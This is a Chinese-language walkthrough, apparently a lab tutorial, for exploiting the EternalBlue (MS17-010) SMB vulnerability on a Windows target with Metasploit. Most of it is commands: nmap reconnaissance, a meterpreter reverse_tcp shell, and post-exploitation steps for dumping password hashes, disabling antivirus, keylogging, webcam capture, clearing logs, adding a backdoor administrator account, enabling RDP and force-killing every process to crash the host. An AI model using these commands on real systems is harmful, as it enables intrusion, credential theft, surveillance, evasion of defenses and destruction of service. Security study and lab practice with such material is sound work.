永恒之蓝(ms17-010)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。
目前已知受影响的 Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
通过向Windows服务器的SMBv1服务发送精心构造的命令造成溢出,最终导致任意命令的执行。在Windows操作系统中,SMB服务默认是开启的,监听端口默认为445,因此该漏洞造成的影响极大。
arp-scan -l
nmap -O -sS -T4 192.168.160.52
说明:
-O
:这个选项告诉Nmap进行操作系统识别。它会尝试通过分析目标主机的网络行为和响应来猜测其运行的操作系统类型。-sS
:这个选项启用了TCP SYN扫描(也称为半开放扫描)。在进行端口扫描时,Nmap发送一个TCP SYN包到目标主机上的每个目标端口,如果收到了一个SYN/ACK响应,说明该端口是打开的。-T4
:这个选项设置了扫描的速度/时间模板。T4是Nmap的默认设置之一,表示较高的扫描速度和更少的等待时间。
msfconsole
# 搜寻模块
search ms17-010
# 使用第三个模块
use 3
# 查看该漏洞模块的具体介绍信息
info
show missing # 查看需要配置哪些信息
这里需要配置远程主机的IP地址,也就是靶机的IP地址。
set rhosts 192.168.160.52
使用show options选项,查看我们要输入的具体参数,其中标注了yes的选项是必须的参数,若这个参数为空,则需要我们填写。
show options
开始攻击:
run
显示该主机很可能能够会受到永恒之蓝漏洞的攻击。
search ms17-010
设置payload连接的方式,reverse_tcp为反向连接,即受害机主动连接攻击机,以获取shell。
set payload windows/x64/meterpreter/reverse_tcp
设置攻击目标
set rhosts 192.168.160.52
run
拿下该主机的shell,执行cmd命令。
在这里可以进行文件上传下载,获取截屏,获取密码,使用摄像头拍照,后门持久化等操作。
运行了run(exploit)命令之后,我们开启了一个reverse TCP监听器来监听本地的 4444 端口,即攻击者的本地主机地址(LHOST)和端口号(LPORT)。
在meterpreter > 中我们可以使用以下的命令来实现对目标的操作:
sysinfo #查看目标主机系统信息
run scraper #查看目标主机详细信息
hashdump #导出密码的哈希
load kiwi #加载
ps #查看目标主机进程信息
pwd #查看目标当前目录(windows)
getlwd #查看目标当前目录(Linux)
search -f *.jsp -d e:\ #搜索E盘中所有以.jsp为后缀的文件
download e:\test.txt /root #将目标机的e:\test.txt文件下载到/root目录下
upload /root/test.txt d:\test #将/root/test.txt上传到目标机的 d:\test\ 目录下getpid #查看当前Meterpreter Shell的进程
PIDmigrate 1384 #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime #查看主机运行时间
getuid #查看获取的当前权限
getsystem #提权
run killav #关闭杀毒软件
screenshot #截图
webcam_list #查看目标主机的摄像头
webcam_snap #拍照
webcam_stream #开视频
execute 参数 -f 可执行文件 #执行可执行程序
run getgui -u hack -p 123 #创建hack用户,密码为123
run getgui -e #开启远程桌面
keyscan_start #开启键盘记录功能
keyscan_dump #显示捕捉到的键盘记录信息
keyscan_stop #停止键盘记录功能
uictl disable keyboard #禁止目标使用键盘
uictl enable keyboard #允许目标使用键盘
uictl disable mouse #禁止目标使用鼠标
uictl enable mouse #允许目标使用鼠标
load #使用扩展库
run #使用扩展库
clearev #清除日志
示例:
查看主机系统信息
sysinfo
查看IP地址信息:
ipconfig
查看用户身份
getuid
获得shell控制台
shell
如果乱码受不了的话,输入:chcp 65001
即可:
下面的模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作。
run post/windows/manage/migrate #自动进程迁移
run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/enable_rdp #开启远程桌面服务
run post/windows/manage/autoroute #查看路由信息
run post/windows/gather/enum_logged_on_users #列举当前登录的用户
run post/windows/gather/enum_applications #列举应用程序
run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run windows/gather/smart_hashdump #dump出所有用户的hash
示例:
获取用户密码
run windows/gather/smart_hashdump 或者 hashdump
进入shell控制台
在目标主机上创建一个名为ghui的用户,密码为123456
将ghui加入到windows 7的本地管理员组中,以便获得更大权限
net localgroup administrators ghui /add
查看本地用户
net user
查看本地管理员
net localgroup administrators
可以看到ghui已经被添加到windows管理员组中。
运用getuid脚本开启目标主机远程桌面:
run getgui -e或者run post/windows/manage/enable_rdp
在kali终端输入
rdesktop 192.168.160.52
选择其他用户:
登录之前创建得ghui用户,密码123456:
最后一步,让它蓝屏:
taskkill /f /fi "pid ne 1"
解释:
taskkill
用于终止运行中的进程,表示杀进程。
/f
是一个参数,表示强制终止进程。
/fi
是一个参数,用于指定进程过滤器(filter)。
"pid ne 1"
是一个过滤器表达式,用于筛选进程。在这个例子中,pid
代表进程的 ID(PID),ne
表示不等于,1
是要排除的进程 ID。换句话说,这个命令会终止除了进程 ID 为 1(通常是系统进程)之外的所有进程。
执行结果: